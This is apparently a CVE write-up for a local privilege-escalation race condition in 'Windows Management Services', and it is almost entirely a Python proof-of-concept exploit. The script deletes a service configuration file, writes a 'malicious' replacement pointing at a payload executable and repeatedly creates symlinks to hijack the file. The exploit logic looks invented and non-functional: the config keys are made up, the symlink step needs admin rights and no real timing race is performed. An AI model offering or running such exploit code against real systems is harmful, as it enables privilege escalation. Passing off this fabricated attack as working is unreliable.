Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Management Services allows an authorized attacker to elevate privileges locally.
The following code is for security research and authorized testing only.
python
# CVE-2026-20874 PoC - Race Condition in Windows Management Services
# This PoC demonstrates the race condition exploitation concept
# Note: Actual exploitation requires precise timing control
import os
import sys
import time
import threading
import subprocess
import ctypes
from ctypes import wintypes
# Windows API imports
kernel32 = ctypes.windll.kernel32
ntdll = ctypes.windll.ntdll
# Constants
FILE_WRITE_DATA = 0x2
FILE_READ_DATA = 0x1
FILE_FLAG_BACKUP_SEMANTICS = 0x02000000
FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 3
FILE_ATTRIBUTE_NORMAL = 0x80
FILE_WRITE_ATTRIBUTES = 0x100
FILE_SHARE_READ = 0x1
FILE_SHARE_WRITE = 0x2
FILE_SHARE_DELETE = 0x4
# Vulnerable service path pattern
SERVICE_TARGET_PATH = r"C:\Program Files\Windows Management Services\Config\service.config"
BACKUP_PATH = r"C:\Windows\Temp\wms_backup.config"
def create_symlink(source, target):
"""Create a symbolic link (requires admin privileges)"""
try:
os.symlink(target, source)
return True
except Exception as e:
print(f"[-] Symlink creation failed: {e}")
return False
def delete_file(path):
"""Delete a file if it exists"""
try:
if os.path.exists(path):
os.remove(path)
return True
except:
return False
def race_condition_trigger():
"""
Race condition exploitation thread
This simulates the TOCTOU vulnerability in Windows Management Services
"""
print("[*] Starting race condition attack...")
# Step 1: Prepare the environment
delete_file(BACKUP_PATH)
delete_file(SERVICE_TARGET_PATH)
# Step 2: Create a temporary file that will be linked
with open(BACKUP_PATH, 'w') as f:
f.write("# Malicious configuration injected by exploit\n")
f.write("PrivilegeEscalation=true\n")
f.write("AdminShell=true\n")
f.write("ExecutePayload=C:\\Windows\\Temp\\payload.exe\n")
print("[+] Created malicious configuration file")
# Step 3: Rapidly attempt to exploit TOCTOU
attempts = 0
max_attempts = 100
while attempts < max_attempts:
attempts += 1
# Try to create symlink during the vulnerability window
# In real scenario, this timing would be synchronized with service operations
if create_symlink(SERVICE_TARGET_PATH, BACKUP_PATH):
print(f"[!] Symlink created successfully on attempt {attempts}")
print("[!] Race condition exploited - service.config now points to malicious file")
# Verify the exploit
if os.path.exists(SERVICE_TARGET_PATH):
try:
with open(SERVICE_TARGET_PATH, 'r') as f:
content = f.read()
if "PrivilegeEscalation=true" in content:
print("[!] Exploit verified - malicious config loaded by service")
return True
except:
pass
# Cleanup for next attempt
delete_file(SERVICE_TARGET_PATH)
time.sleep(0.001) # Minimal delay between attempts
print("[-] Race condition exploitation failed after maximum attempts")
return False
def check_vulnerability():
"""Check if system is vulnerable to CVE-2026-20874"""
print("[*] Checking vulnerability status...")
# Check if Windows Management Services exists
service_path = r"C:\Program Files\Windows Management Services"
if not os.path.exists(service_path):
print("[-] Windows Management Services not found - may not be vulnerable")
return False
# Check service configuration
config_path = os.path.join(service_path, "Config", "service.config")
if os.path.exists(config_path):
print(f"[+] Found service configuration at: {config_path}")
return True
else:
print("[-] Service configuration not found")
return False
def main():
print("=" * 60)
print("CVE-2026-20874 - Windows Management Services Race Condition")
print("=" * 60)
print()
# Check vulnerability status
is_vulnerable = check_vulnerability()
if not is_vulnerable:
print("\n[!] System may not be vulnerable to this CVE")
return
print("\n[*] Initiating race condition exploit...")
# Run exploit in a separate thread
exploit_thread = threading.Thread(target=race_condition_trigger)
exploit_thread.start()
exploit_thread.join(timeout=30)
print("\n[*] Exploitation attempt completed")
print("[*] Note: This is a proof-of-concept for educational purposes only")
print("[*] Microsoft patch should be applied to remediate this vulnerability")
if __name__ == "__main__":
main()